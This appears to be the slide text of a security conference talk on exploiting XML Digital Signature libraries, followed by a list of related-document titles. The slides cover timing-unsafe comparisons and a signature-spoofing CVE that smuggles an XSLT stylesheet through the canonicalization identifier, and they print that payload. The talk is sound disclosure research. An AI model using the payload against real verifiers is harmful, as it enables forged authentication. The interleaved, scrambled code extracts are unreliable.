112 DoS Only bool comparebase64stringtoraw( const char * b64str, unsigned bool char comparebits(const * raw, unsigned char* b64str, unsigned const int rawlen, unsigned char* raw, unsigned unsigned int maxcompare) int maxbytes, { unsigned int maxbits) { unsigned int maxbytes, maxbits; div_t d = unsigned {0; int i, j; if(maxcompare == 0) { for (i = 0; i < maxbytes; ++ i) { maxcompare if (raw[i] = rawlen;!= outputstr[i]) return false; d = div(maxcompare, 8); maxbytes = char d.quot; mask = 0x01; maxbits = for d.rem; (j = 0 ; j < maxbits; ++i) { if ((raw[i] & mask)!= (outputstr[i] & mask)) return comparebits(decode(b64str), return false; raw, maxbytes, maxbits); mask = mask << 1; return true;

113 Non-Constant Time Compare bool comparebits(const unsigned char* b64str, const unsigned char* raw, unsigned int maxbytes, unsigned int maxbits) { unsigned int i, j; for (i = 0; i < maxbytes; ++ i) { if (raw[i]!= outputstr[i]) return false; char mask = 0x01; for (j = 0 ; j < maxbits; ++i) { if ((raw[i] & mask)!= (outputstr[i] & mask)) return false; mask = mask << 1; return true;

114 Non-Constant Time Compare bool comparebits(const unsigned char* b64str, const unsigned char* raw, // Mono unsigned int maxbytes, bool Compare (byte[] expected, byte[] actual) { unsigned int maxbits) { for (int i=0; i < l; i++) { if (expected[i]!= actual[i]) unsigned int i, j; return false; for (i = 0; i < maxbytes; ++ i) { if (raw[i]!= outputstr[i]) return true; return false; char mask = 0x01; for (j = 0 ; j < maxbits; ++i) { if ((raw[i] & mask)!= (outputstr[i] & mask)) return false; mask = mask << 1; return true;

115 Non-Constant Time Compare bool comparebits(const unsigned char* b64str, const unsigned char* raw, // Mono unsigned int maxbytes, bool Compare (byte[] expected, byte[] actual) { unsigned int maxbits) { for (int i=0; i < l; i++) { if (expected[i]!= actual[i]) //.NET unsigned int i, j; return false; bool CheckSignedInfo(KeyedHashAlgorithm for (i = 0; i < maxbytes; ++ i) { macalg) { for (int if i (raw[i]!= outputstr[i]) return = 0; i true; < this.m_signature.signaturevalue.length; i++) { return false; if (m_signature.signaturevalue[i]!= actualhashvalue[i]) { char return mask false; = 0x01; for (j = 0 ; j < maxbits; ++i) { if ((raw[i] & mask)!= (outputstr[i] & mask)) return true; return false; mask = mask << 1; return true;

116 Non-Constant Time Compare bool comparebits(const unsigned char* b64str, const unsigned char* raw, // Mono unsigned int maxbytes, bool Compare (byte[] expected, byte[] actual) { unsigned int maxbits) { for (int i=0; i < l; i++) { if (expected[i]!= actual[i]) //.NET unsigned int i, j; return false; bool CheckSignedInfo(KeyedHashAlgorithm for (i = 0; i < maxbytes; ++ i) { macalg) { for (int if i (raw[i]!= outputstr[i]) return = 0; i true; < this.m_signature.signaturevalue.length; i++) { return false; // XMLSEC1 if if((datasize (m_signature.signaturevalue[i] > 1) && (memcmp(ctx->dgst,!= actualhashvalue[i]) data, datasize - 1)!= 0)) { char { return mask = 0x01; for (j transform->status false; = 0 ; j < maxbits; = xmlsectransformstatusfail; ++i) { if ((raw[i] return(0); & mask)!= (outputstr[i] & mask)) return true; return false; mask = mask << 1; transform->status = xmlsectransformstatusok; return return(0); true;

117 Back to the original story...

118 CVE /CVE /CVE Signature Spoofing through Canonicalization Algorithm Identifier Affected.NET, Apache Java and JRE Doesn't work in Mono, due to an "Incompatible Implementation"

119 SignedInfo Element <SignedInfo> <CanonicalizationMethod Algorithm=" <SignatureMethod Algorithm=" <Reference URI=""> <Transforms> <Transform Algorithm=" </Transforms> <DigestMethod Algorithm=" <DigestValue>Bo0b5...</DigestValue> </Reference> </SignedInfo>

120 SignedInfo Element <SignedInfo> <CanonicalizationMethod Algorithm=" <SignatureMethod Algorithm=" <Reference URI=""> <Transforms> <Transform Algorithm=" </Transforms> <DigestMethod Algorithm=" <DigestValue>Bo0b5...</DigestValue> </Reference> </SignedInfo>

121 SignedInfo Element <SignedInfo> <CanonicalizationMethod Algorithm=" <SignatureMethod Algorithm=" <Reference URI=""> <Transforms> <Transform Algorithm=" </Transforms> <DigestMethod Algorithm=" <DigestValue>Bo0b5...</DigestValue> </Reference> </SignedInfo>

122 Algorithm Identifiers Name Type URI Required? SHA1 Digest Yes Base64 Encoding Yes HMAC/SHA1 Signature Yes DSA/SHA1 Signature Yes RSA/SHA1 Signature No C14N 1.0 C14N C14N 1.1 C14N Yes Envelope Transform XPath Transform No XSLT Transform No Yes Yes

123 Extensible? "This specification defines a set of algorithms, their URIs, and requirements for implementation. Requirements are specified over implementation, not over requirements for signature use. Furthermore, the mechanism is extensible; alternative algorithms may be used by signature applications."

124 Creating.NET Canonicalizer class SignedInfo { public string CanonicalizationMethod { get; public Transform CanonicalizationMethodObject { get { return (Transform)CryptoConfig.CreateFromName(this.CanonicalizationMethod);

125 Creating.NET Canonicalizer class SignedInfo { public string CanonicalizationMethod { get; public Transform CanonicalizationMethodObject { get { return (Transform)CryptoConfig.CreateFromName(this.CanonicalizationMethod);

126 CryptoConfig?

127 CryptoConfig?

128 Derived from Transform

129 Derived from Transform

130 Derived from Transform

131 Derived from Transform

132 Derived from Transform

133 Derived from Transform

134 Exploiting It <good/> Good Signed XML Document Extract <SignedInfo> <CanonicalizationMethod/> <SignatureMethod/> <Reference URI="#id"> <Transforms/> <DigestMethod/> <DigestValue>Bo0b5... </DigestValue> </Reference> </SignedInfo> Canonicalize To XSLT <bad/> Modify Document <xsl:stylesheet version="1.0"> <xsl:output method="text" /> <xsl:template match="/"> <xsl:text disable-output-escaping="yes"> <SignedInfo xmlns=" </xsl:template> </xsl:stylesheet> Bad Signed XML Document

135 Final XML <SignedInfo> <CanonicalizationMethod Algorithm=" <xsl:stylesheet version="1.0" xmlns:xsl=" <xsl:output method="text" /> <xsl:template match="/"> <xsl:text disable-output-escaping="yes"> <SignedInfo xmlns=" </xsl:text> </xsl:template> </xsl:stylesheet> </CanonicalizationMethod> <SignatureMethod Algorithm=" /> </SignedInfo>

136 Exploiting It <bad/> Bad Signed XML Document Extract <xsl:stylesheet>... </xsl:stylesheet> XSL <SignedInfo> <CanonicalizationMethod/> <SignatureMethod/> <Reference URI="#id"> <Transforms/> <DigestMethod/> <DigestValue>Bo0b5... </DigestValue> </Reference> </SignedInfo> C14N Verify Signature

137 Demo Time!

138 And the Rest Invalid Parsing of Signatures Blended Threat between parsers Other DoS stuff in.net and WCF Many Lucky "bugs" in Mono

139 Final Score Sheet Implementation Parsing Issues Memory Corruption Signature Spoofing Denial of Service File Stealing Apache C++ Yes Yes Yes Yes Yes, hilariously! Apache Java/JRE Yes No Yes Yes Sort of, limited use XMLSEC1 No No Yes, Kind of Yes if libxml2 isn't fixed.net No No Yes Yes Yes No Mono Lucky Escape No Yes, should have been worse Yes I gave up even trying

140 Conclusions Don't Blindly Trust Your Implementation Double Check All References are as expected Double Check All Algorithms are as expected Probably stay away from Apache C++ and Mono

141 Questions?

Exploiting XML Digital Signature Implementations

Exploiting XML Digital Signature Implementations White paper Exploiting XML Digital Signature Implementations Hack In The Box - Kuala Lumpur 2013 James Forshaw [email protected] October 2013 Contents Introduction 4 Implementations Researched

More information

Exchanger XML Editor - Canonicalization and XML Digital Signatures

Exchanger XML Editor - Canonicalization and XML Digital Signatures Exchanger XML Editor - Canonicalization and XML Digital Signatures Copyright 2005 Cladonia Ltd Table of Contents XML Canonicalization... 2 Inclusive Canonicalization... 2 Inclusive Canonicalization Example...

More information

BERserk Vulnerability

BERserk Vulnerability Intel Security: Advanced Threat Research BERserk Vulnerability Part 2: Certificate Forgery in Mozilla NSS October 6, 2014 Contents DigestInfo ASN.1 Decoding Vulnerabilities in Mozilla NSS... 2 Forging

More information

Pre-authentication XXE vulnerability in the Services Drupal module

Pre-authentication XXE vulnerability in the Services Drupal module Pre-authentication XXE vulnerability in the Services Drupal module Security advisory 24/04/2015 Renaud Dubourguais www.synacktiv.com 14 rue Mademoiselle 75015 Paris 1. Vulnerability description 1.1. The

More information

High Performance XML Data Retrieval

High Performance XML Data Retrieval High Performance XML Data Retrieval Mark V. Scardina Jinyu Wang Group Product Manager & XML Evangelist Oracle Corporation Senior Product Manager Oracle Corporation Agenda Why XPath for Data Retrieval?

More information

Concrete uses of XML in software development and data analysis.

Concrete uses of XML in software development and data analysis. Concrete uses of XML in software development and data analysis. S. Patton LBNL, Berkeley, CA 94720, USA XML is now becoming an industry standard for data description and exchange. Despite this there are

More information

Multiple electronic signatures on multiple documents

Multiple electronic signatures on multiple documents Multiple electronic signatures on multiple documents Antonio Lioy and Gianluca Ramunno Politecnico di Torino Dip. di Automatica e Informatica Torino (Italy) e-mail: [email protected], [email protected] web

More information

Blackbox Reversing of XSS Filters

Blackbox Reversing of XSS Filters Blackbox Reversing of XSS Filters Alexander Sotirov [email protected] Introduction Web applications are the future Reversing web apps blackbox reversing very different environment and tools Cross-site scripting

More information

Threat Advisory: Atlassian Crowd (CVE 2013 3925)

Threat Advisory: Atlassian Crowd (CVE 2013 3925) Threat Advisory: Atlassian Crowd (CVE 2013 3925) Command Five Pty Ltd June 2013 ABSTRACT This advisory examines a critical vulnerability in Atlassian Crowd a software package marketed as a turnkey solution

More information

Chapter 6 Electronic Mail Security

Chapter 6 Electronic Mail Security Cryptography and Network Security Chapter 6 Electronic Mail Security Lectured by Nguyễn Đức Thái Outline Pretty Good Privacy S/MIME 2 Electronic Mail Security In virtually all distributed environments,

More information

Binary storage of graphs and related data

Binary storage of graphs and related data EÖTVÖS LORÁND UNIVERSITY Faculty of Informatics Department of Algorithms and their Applications Binary storage of graphs and related data BSc thesis Author: Frantisek Csajka full-time student Informatics

More information

OPENID AUTHENTICATION SECURITY

OPENID AUTHENTICATION SECURITY OPENID AUTHENTICATION SECURITY Erik Lagercrantz and Patrik Sternudd Uppsala, May 17 2009 1 ABSTRACT This documents gives an introduction to OpenID, which is a system for centralised online authentication.

More information

Securing ios Applications. Dr. Bruce Sams, OPTIMAbit GmbH

Securing ios Applications. Dr. Bruce Sams, OPTIMAbit GmbH Securing ios Applications Dr. Bruce Sams, OPTIMAbit GmbH About Me President of OPTIMAbit GmbH Responsible for > 200 Pentests per Year Ca 50 ios Pentests and code reviews in the last two years. Overview

More information

Network Security. Chapter 10. Application Layer Security: Web Services. Part I: Introduction to Web Services

Network Security. Chapter 10. Application Layer Security: Web Services. Part I: Introduction to Web Services Network Architectures and Services, Georg Carle Faculty of Informatics Technische Universität München, Germany Part I: Introduction to Web Services Network Security Chapter 10 Application Layer Security:

More information

Message Containers and API Framework

Message Containers and API Framework Message Containers and API Framework Notices Copyright 2009-2010 Motion Picture Laboratories, Inc. This work is licensed under the Creative Commons Attribution-No Derivative Works 3.0 United States License.

More information

Sandy. The Malicious Exploit Analysis. http://exploit-analysis.com/ Static Analysis and Dynamic exploit analysis. Garage4Hackers

Sandy. The Malicious Exploit Analysis. http://exploit-analysis.com/ Static Analysis and Dynamic exploit analysis. Garage4Hackers Sandy The Malicious Exploit Analysis. http://exploit-analysis.com/ Static Analysis and Dynamic exploit analysis About Me! I work as a Researcher for a Global Threat Research firm.! Spoke at the few security

More information

Representation of E-documents in AIDA Project

Representation of E-documents in AIDA Project Representation of E-documents in AIDA Project Diana Berbecaru Marius Marian Dip. di Automatica e Informatica Politecnico di Torino Corso Duca degli Abruzzi 24, 10129 Torino, Italy Abstract Initially developed

More information

10CS73:Web Programming

10CS73:Web Programming 10CS73:Web Programming Question Bank Fundamentals of Web: 1.What is WWW? 2. What are domain names? Explain domain name conversion with diagram 3.What are the difference between web browser and web server

More information

Network Security Essentials Chapter 7

Network Security Essentials Chapter 7 Network Security Essentials Chapter 7 Fourth Edition by William Stallings Lecture slides by Lawrie Brown Chapter 7 Electronic Mail Security Despite the refusal of VADM Poindexter and LtCol North to appear,

More information

Still Aren't Doing. Frank Kim

Still Aren't Doing. Frank Kim Ten Things Web Developers Still Aren't Doing Frank Kim Think Security Consulting Background Frank Kim Consultant, Think Security Consulting Security in the SDLC SANS Author & Instructor DEV541 Secure Coding

More information

Improving performance for security enabled web services. - Dr. Colm Ó héigeartaigh

Improving performance for security enabled web services. - Dr. Colm Ó héigeartaigh Improving performance for security enabled web services - Dr. Colm Ó héigeartaigh Agenda Introduction to Apache CXF WS-Security in CXF 3.0.0 Securing Attachments in CXF 3.0.0 RS-Security in CXF 3.0.0 Some

More information

Java and XML parsing. EH2745 Lecture #8 Spring 2015. [email protected]

Java and XML parsing. EH2745 Lecture #8 Spring 2015. larsno@kth.se Java and XML parsing EH2745 Lecture #8 Spring 2015 [email protected] Lecture Outline Quick Review The XML language Parsing Files in Java Quick Review We have in the first set of Lectures covered the basics

More information

Core Feature Comparison between. XML / SOA Gateways. and. Web Application Firewalls. Jason Macy [email protected] CTO, Forum Systems

Core Feature Comparison between. XML / SOA Gateways. and. Web Application Firewalls. Jason Macy jmacy@forumsys.com CTO, Forum Systems Core Feature Comparison between XML / SOA Gateways and Web Application Firewalls Jason Macy [email protected] CTO, Forum Systems XML Gateway vs Competitive XML Gateways or Complementary? and s are Complementary

More information

Schematron Validation and Guidance

Schematron Validation and Guidance Schematron Validation and Guidance Schematron Validation and Guidance Version: 1.0 Revision Date: July, 18, 2007 Prepared for: NTG Prepared by: Yunhao Zhang i Schematron Validation and Guidance SCHEMATRON

More information

CICS Web Service Security. Anthony Papageorgiou IBM CICS Development March 13, 2012 Session: 10282

CICS Web Service Security. Anthony Papageorgiou IBM CICS Development March 13, 2012 Session: 10282 Web Service Security Anthony Papageorgiou IBM Development March 13, 2012 Session: 10282 Agenda Web Service Support Overview Security Basics and Terminology Pipeline Security Overview Identity Encryption

More information

CS 2112 Spring 2014. 0 Instructions. Assignment 3 Data Structures and Web Filtering. 0.1 Grading. 0.2 Partners. 0.3 Restrictions

CS 2112 Spring 2014. 0 Instructions. Assignment 3 Data Structures and Web Filtering. 0.1 Grading. 0.2 Partners. 0.3 Restrictions CS 2112 Spring 2014 Assignment 3 Data Structures and Web Filtering Due: March 4, 2014 11:59 PM Implementing spam blacklists and web filters requires matching candidate domain names and URLs very rapidly

More information

02267: Software Development of Web Services

02267: Software Development of Web Services 02267: Software Development of Web Services Week 11 Hubert Baumeister [email protected] Department of Applied Mathematics and Computer Science Technical University of Denmark Fall 2015 1 Contents WS-Policy Web

More information

Qualtrics Single Sign-On Specification

Qualtrics Single Sign-On Specification Qualtrics Single Sign-On Specification Version: 2010-06-25 Contents Introduction... 2 Implementation Considerations... 2 Qualtrics has never been used by the organization... 2 Qualtrics has been used by

More information

Managing XML Documents Versions and Upgrades with XSLT

Managing XML Documents Versions and Upgrades with XSLT Managing XML Documents Versions and Upgrades with XSLT Vadim Zaliva, [email protected] 2001 Abstract This paper describes mechanism for versioning and upgrding XML configuration files used in FWBuilder

More information

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

Web Application Hacking (Penetration Testing) 5-day Hands-On Course Web Application Hacking (Penetration Testing) 5-day Hands-On Course Web Application Hacking (Penetration Testing) 5-day Hands-On Course Course Description Our web sites are under attack on a daily basis

More information

XML Digital Signature Implementation Guide

XML Digital Signature Implementation Guide XML Digital Signature Implementation Guide Document Status FINAL Document Date February 11, 2014 Editors Contributors Abdias Lira, Wolters Kluwer Financial Services [email protected] Mark Kleingers,

More information

Stacks. Linear data structures

Stacks. Linear data structures Stacks Linear data structures Collection of components that can be arranged as a straight line Data structure grows or shrinks as we add or remove objects ADTs provide an abstract layer for various operations

More information

Digital Signing Specification

Digital Signing Specification Digital Signing Specification Product: EVM-CR Feature: Digital File Signatures Support to: Defense Cost and Resource Center Contract No: W91WAW-08-D-0031/0008 Tecolote Research, Inc. Date: 07/08/2013 Document

More information

Cryptography and Network Security Chapter 15

Cryptography and Network Security Chapter 15 Cryptography and Network Security Chapter 15 Fourth Edition by William Stallings Lecture slides by Lawrie Brown Chapter 15 Electronic Mail Security Despite the refusal of VADM Poindexter and LtCol North

More information

Web Application Security

Web Application Security E-SPIN PROFESSIONAL BOOK Vulnerability Management Web Application Security ALL THE PRACTICAL KNOW HOW AND HOW TO RELATED TO THE SUBJECT MATTERS. COMBATING THE WEB VULNERABILITY THREAT Editor s Summary

More information

PHP Magic Tricks: Type Juggling. PHP Magic Tricks: Type Juggling

PHP Magic Tricks: Type Juggling. PHP Magic Tricks: Type Juggling Who Am I Chris Smith (@chrismsnz) Previously: Polyglot Developer - Python, PHP, Go + more Linux Sysadmin Currently: Pentester, Consultant at Insomnia Security Little bit of research Insomnia Security Group

More information

Secure Envelope specification

Secure Envelope specification Secure Envelope specification for Corporate Access File Transfer 2/13/2015 Version 1.0.3 This document defines how a file (e.g. a payment file) which will be sent to the bank is digitally signed by the

More information

WEB SERVICES VULNERABILITIES

WEB SERVICES VULNERABILITIES WEB SERVICES VULNERABILITIES A white paper outlining the application-level threats to web services Prepared By: Date: February 15, 2007 Nishchal Bhalla Sahba Kazerooni Abstract Security has become the

More information

Bugzilla ID: Bugzilla Summary:

Bugzilla ID: Bugzilla Summary: Bugzilla ID: Bugzilla Summary: CAs wishing to have their certificates included in Mozilla products must 1) Comply with the requirements of the Mozilla CA certificate policy (http://www.mozilla.org/projects/security/certs/policy/)

More information

Web Services Trust and XML Security Standards

Web Services Trust and XML Security Standards Web Services Trust and XML Security Standards Date: April 9, 2001 Version: 1.0 Copyright 2001-2003 Entrust. All rights reserved. Entrust is a registered trademark of Entrust, Inc. in the United States

More information

Compass Security. [The ICT-Security Experts] SAML 2.0 [Beer Talk Berlin 2/16/2016] Stephan Sekula

Compass Security. [The ICT-Security Experts] SAML 2.0 [Beer Talk Berlin 2/16/2016] Stephan Sekula Compass Security [The ICT-Security Experts] SAML 2.0 [Beer Talk Berlin 2/16/2016] Stephan Sekula Compass Security Deutschland GmbH Tauentzienstr. 18 De-10789 Berlin Tel. +49 30 21 00 253-0 Fax +49 30 21

More information

What should a hacker know about WebDav? Vulnerabilities in various WebDav implementations

What should a hacker know about WebDav? Vulnerabilities in various WebDav implementations What should a hacker know about WebDav? Vulnerabilities in various WebDav implementations Mikhail Egorov Short BIO Mikhail Egorov Application Security Engineer at Odin [ http://www.odin.com ] Security

More information

UIL Computer Science for Dummies by Jake Warren and works from Mr. Fleming

UIL Computer Science for Dummies by Jake Warren and works from Mr. Fleming UIL Computer Science for Dummies by Jake Warren and works from Mr. Fleming 1 2 Foreword First of all, this book isn t really for dummies. I wrote it for myself and other kids who are on the team. Everything

More information

Transparent Monitoring of a Process Self in a Virtual Environment

Transparent Monitoring of a Process Self in a Virtual Environment Transparent Monitoring of a Process Self in a Virtual Environment PhD Lunchtime Seminar Università di Pisa 24 Giugno 2008 Outline Background Process Self Attacks Against the Self Dynamic and Static Analysis

More information

HireDesk API V1.0 Developer s Guide

HireDesk API V1.0 Developer s Guide HireDesk API V1.0 Developer s Guide Revision 1.4 Talent Technology Corporation Page 1 Audience This document is intended for anyone who wants to understand, and use the Hiredesk API. If you just want to

More information

18-731 Midterm. Name: Andrew user id:

18-731 Midterm. Name: Andrew user id: 18-731 Midterm 6 March 2008 Name: Andrew user id: Scores: Problem 0 (10 points): Problem 1 (10 points): Problem 2 (15 points): Problem 3 (10 points): Problem 4 (20 points): Problem 5 (10 points): Problem

More information

Internet Banking Two-Factor Authentication using Smartphones

Internet Banking Two-Factor Authentication using Smartphones Internet Banking Two-Factor Authentication using Smartphones Costin Andrei SOARE IT&C Security Master Department of Economic Informatics and Cybernetics Bucharest University of Economic Studies, Romania

More information

Web Application Report

Web Application Report Web Application Report This report includes important security information about your Web Application. Security Report This report was created by IBM Rational AppScan 8.5.0.1 11/14/2012 8:52:13 AM 11/14/2012

More information

Automating SQL Injection Exploits

Automating SQL Injection Exploits Automating SQL Injection Exploits Mike Shema IT Underground, Berlin 2006 Overview SQL injection vulnerabilities are pretty easy to detect. The true impact of a vulnerability is measured

More information

PGP from: Cryptography and Network Security

PGP from: Cryptography and Network Security PGP from: Cryptography and Network Security Fifth Edition by William Stallings Lecture slides by Lawrie Brown (*) (*) adjusted by Fabrizio d'amore Electronic Mail Security Despite the refusal of VADM Poindexter

More information

Electronic Bank Account Management - EBAM

Electronic Bank Account Management - EBAM Electronic Bank Account Management - EBAM EBAM and Digital Signature This guide provides an overview of how to use a digital signature in the EBAM solution to sign the XML messages and the potential attachments.

More information

Secure Authentication and Session. State Management for Web Services

Secure Authentication and Session. State Management for Web Services Lehman 0 Secure Authentication and Session State Management for Web Services Clay Lehman CSC 499: Honors Thesis Supervised by: Dr. R. Michael Young Lehman 1 1. Introduction Web services are a relatively

More information

EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST.

EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST. CENTER FOR ADVANCED SECURITY TRAINING 619 Advanced SQLi Attacks and Countermeasures Make The Difference About Center of Advanced Security Training () The rapidly evolving information security landscape

More information

MONETA.Assistant API Reference

MONETA.Assistant API Reference MONETA.Assistant API Reference Contents 2 Contents Abstract...3 Chapter 1: MONETA.Assistant Overview...4 Payment Processing Flow...4 Chapter 2: Quick Start... 6 Sandbox Overview... 6 Registering Demo Accounts...

More information

XML: extensible Markup Language. Anabel Fraga

XML: extensible Markup Language. Anabel Fraga XML: extensible Markup Language Anabel Fraga Table of Contents Historic Introduction XML vs. HTML XML Characteristics HTML Document XML Document XML General Rules Well Formed and Valid Documents Elements

More information

Electronic Mail Security. Email Security. email is one of the most widely used and regarded network services currently message contents are not secure

Electronic Mail Security. Email Security. email is one of the most widely used and regarded network services currently message contents are not secure Electronic Mail Security CSCI 454/554 Email Security email is one of the most widely used and regarded network services currently message contents are not secure may be inspected either in transit or by

More information

First Java Programs. V. Paúl Pauca. CSC 111D Fall, 2015. Department of Computer Science Wake Forest University. Introduction to Computer Science

First Java Programs. V. Paúl Pauca. CSC 111D Fall, 2015. Department of Computer Science Wake Forest University. Introduction to Computer Science First Java Programs V. Paúl Pauca Department of Computer Science Wake Forest University CSC 111D Fall, 2015 Hello World revisited / 8/23/15 The f i r s t o b l i g a t o r y Java program @author Paul Pauca

More information

Application Security Testing. Erez Metula (CISSP), Founder Application Security Expert [email protected]

Application Security Testing. Erez Metula (CISSP), Founder Application Security Expert ErezMetula@AppSec.co.il Application Security Testing Erez Metula (CISSP), Founder Application Security Expert [email protected] Agenda The most common security vulnerabilities you should test for Understanding the problems

More information

Variable Base Interface

Variable Base Interface Chapter 6 Variable Base Interface 6.1 Introduction Finite element codes has been changed a lot during the evolution of the Finite Element Method, In its early times, finite element applications were developed

More information

Input Validation Vulnerabilities, Encoded Attack Vectors and Mitigations OWASP. The OWASP Foundation. Marco Morana & Scott Nusbaum

Input Validation Vulnerabilities, Encoded Attack Vectors and Mitigations OWASP. The OWASP Foundation. Marco Morana & Scott Nusbaum Input Validation Vulnerabilities, Encoded Attack Vectors and Mitigations Marco Morana & Scott Nusbaum Cincinnati Chapter September 08 Meeting Copyright 2008 The Foundation Permission is granted to copy,

More information

Identifying and Exploiting Padding Oracles. Brian Holyfield Gotham Digital Science

Identifying and Exploiting Padding Oracles. Brian Holyfield Gotham Digital Science Identifying and Exploiting Padding Oracles Brian Holyfield Gotham Digital Science Session ID: ASEC-403 Session Classification: Intermediate What is a Padding Oracle? We re a SQL Server Shop, we don t use

More information

CST6445: Web Services Development with Java and XML Lesson 1 Introduction To Web Services 1995 2008 Skilltop Technology Limited. All rights reserved.

CST6445: Web Services Development with Java and XML Lesson 1 Introduction To Web Services 1995 2008 Skilltop Technology Limited. All rights reserved. CST6445: Web Services Development with Java and XML Lesson 1 Introduction To Web Services 1995 2008 Skilltop Technology Limited. All rights reserved. Opening Night Course Overview Perspective Business

More information

Part 5 DNS Security. SAST01 An Introduction to Information Security 2015-09-21. Martin Hell Department of Electrical and Information Technology

Part 5 DNS Security. SAST01 An Introduction to Information Security 2015-09-21. Martin Hell Department of Electrical and Information Technology SAST01 An Introduction to Information Security Part 5 DNS Security Martin Hell Department of Electrical and Information Technology How DNS works Amplification attacks Cache poisoning attacks DNSSEC 1 2

More information

by LindaMay Patterson PartnerWorld for Developers, AS/400 January 2000

by LindaMay Patterson PartnerWorld for Developers, AS/400 January 2000 Home Products Consulting Industries News About IBM by LindaMay Patterson PartnerWorld for Developers, AS/400 January 2000 Copyright IBM Corporation, 1999. All Rights Reserved. All trademarks or registered

More information

Practice Questions. CS161 Computer Security, Fall 2008

Practice Questions. CS161 Computer Security, Fall 2008 Practice Questions CS161 Computer Security, Fall 2008 Name Email address Score % / 100 % Please do not forget to fill up your name, email in the box in the midterm exam you can skip this here. These practice

More information

OOo Digital Signatures. Malte Timmermann Technical Architect Sun Microsystems GmbH

OOo Digital Signatures. Malte Timmermann Technical Architect Sun Microsystems GmbH OOo Digital Signatures Malte Timmermann Technical Architect Sun Microsystems GmbH About the Speaker Technical Architect in OpenOffice.org/StarOffice development OOo/StarOffice developer since 1991/94 Main

More information

Java Interview Questions and Answers

Java Interview Questions and Answers 1. What is the most important feature of Java? Java is a platform independent language. 2. What do you mean by platform independence? Platform independence means that we can write and compile the java

More information

CONTRACT MODEL IPONZ DESIGN SERVICE VERSION 2. Author: Foster Moore Date: 20 September 2011 Document Version: 1.7

CONTRACT MODEL IPONZ DESIGN SERVICE VERSION 2. Author: Foster Moore Date: 20 September 2011 Document Version: 1.7 CONTRACT MODEL IPONZ DESIGN SERVICE VERSION 2 Author: Foster Moore Date: 20 September 2011 Document Version: 1.7 Level 6, Durham House, 22 Durham Street West PO Box 106857, Auckland City Post Shop, Auckland

More information

Standard Recommended Practice extensible Markup Language (XML) for the Interchange of Document Images and Related Metadata

Standard Recommended Practice extensible Markup Language (XML) for the Interchange of Document Images and Related Metadata Standard for Information and Image Management Standard Recommended Practice extensible Markup Language (XML) for the Interchange of Document Images and Related Metadata Association for Information and

More information

REDUCING THE COST OF GROUND SYSTEM DEVELOPMENT AND MISSION OPERATIONS USING AUTOMATED XML TECHNOLOGIES. Jesse Wright Jet Propulsion Laboratory,

REDUCING THE COST OF GROUND SYSTEM DEVELOPMENT AND MISSION OPERATIONS USING AUTOMATED XML TECHNOLOGIES. Jesse Wright Jet Propulsion Laboratory, REDUCING THE COST OF GROUND SYSTEM DEVELOPMENT AND MISSION OPERATIONS USING AUTOMATED XML TECHNOLOGIES Colette Wilklow MS 301-240, Pasadena, CA phone + 1 818 354-4674 fax + 1 818 393-4100 email: [email protected]

More information

JVA-122. Secure Java Web Development

JVA-122. Secure Java Web Development JVA-122. Secure Java Web Development Version 7.0 This comprehensive course shows experienced developers of Java EE applications how to secure those applications and to apply best practices with regard

More information

Package PKI. July 28, 2015

Package PKI. July 28, 2015 Version 0.1-3 Package PKI July 28, 2015 Title Public Key Infrastucture for R Based on the X.509 Standard Author Maintainer Depends R (>= 2.9.0),

More information

Introduction to XML Applications

Introduction to XML Applications EMC White Paper Introduction to XML Applications Umair Nauman Abstract: This document provides an overview of XML Applications. This is not a comprehensive guide to XML Applications and is intended for

More information

Computer Security - Tutorial Sheet 3: Network & Programming Security

Computer Security - Tutorial Sheet 3: Network & Programming Security Computer Security - Tutorial Sheet 3: Network & Programming Security School of Informatics 27th February 2014 This is the third problem sheet for the Computer Security course, covering topics in network

More information

Managing large sound databases using Mpeg7

Managing large sound databases using Mpeg7 Max Jacob 1 1 Institut de Recherche et Coordination Acoustique/Musique (IRCAM), place Igor Stravinsky 1, 75003, Paris, France Correspondence should be addressed to Max Jacob ([email protected]) ABSTRACT

More information

Review and Exploit Neglected Attack Surface in ios 8. Tielei Wang, Hao Xu, Xiaobo Chen of TEAM PANGU

Review and Exploit Neglected Attack Surface in ios 8. Tielei Wang, Hao Xu, Xiaobo Chen of TEAM PANGU Review and Exploit Neglected Attack Surface in ios 8 Tielei Wang, Hao Xu, Xiaobo Chen of TEAM PANGU BlackHat 2015 Agenda ios Security Background Review of Attack Surfaces Fuzz More IOKit and MIG System

More information

Security in Android apps

Security in Android apps Security in Android apps Falco Peijnenburg (3749002) August 16, 2013 Abstract Apps can be released on the Google Play store through the Google Developer Console. The Google Play store only allows apps

More information

Partitioning under the hood in MySQL 5.5

Partitioning under the hood in MySQL 5.5 Partitioning under the hood in MySQL 5.5 Mattias Jonsson, Partitioning developer Mikael Ronström, Partitioning author Who are we? Mikael is a founder of the technology behind NDB

More information

Java Security Web Services Security (Overview) Lecture 9

Java Security Web Services Security (Overview) Lecture 9 Java Security Web Services Security (Overview) Lecture 9 Java 2 Cryptography Java provides API + SPI for crypto functions Java Cryptography Architecture Security related core classes Access control and

More information

Intrusion detection for web applications

Intrusion detection for web applications Intrusion detection for web applications Intrusion detection for web applications Łukasz Pilorz Application Security Team, Allegro.pl Reasons for using IDS solutions known weaknesses and vulnerabilities

More information

Digital Signature with Hashing and XML Signature Patterns

Digital Signature with Hashing and XML Signature Patterns Digital Signature with Hashing and XML Signature Patterns Keiko Hashizume, Eduardo B. Fernandez, and Shihong Huang Dept. of Computer Science and Engineering, Florida Atlantic University Boca Raton, FL

More information

On Breaking SAML: Be Whoever You Want to Be OWASP 7.11.2012. The OWASP Foundation http://www.owasp.org. Juraj Somorovsky and Christian Mainka

On Breaking SAML: Be Whoever You Want to Be OWASP 7.11.2012. The OWASP Foundation http://www.owasp.org. Juraj Somorovsky and Christian Mainka On Breaking SAML: Be Whoever You Want to Be Juraj Somorovsky and Christian Mainka 7.11.2012 Horst-Görtz Institute for IT-Security Ruhr-University Bochum Copyright The Foundation Permission is granted to

More information

Web Services Technologies

Web Services Technologies Web Services Technologies XML and SOAP WSDL and UDDI Version 16 1 Web Services Technologies WSTech-2 A collection of XML technology standards that work together to provide Web Services capabilities We

More information

DEVELOPING CONTRACT - DRIVEN WEB SERVICES USING JDEVELOPER. The purpose of this tutorial is to develop a java web service using a top-down approach.

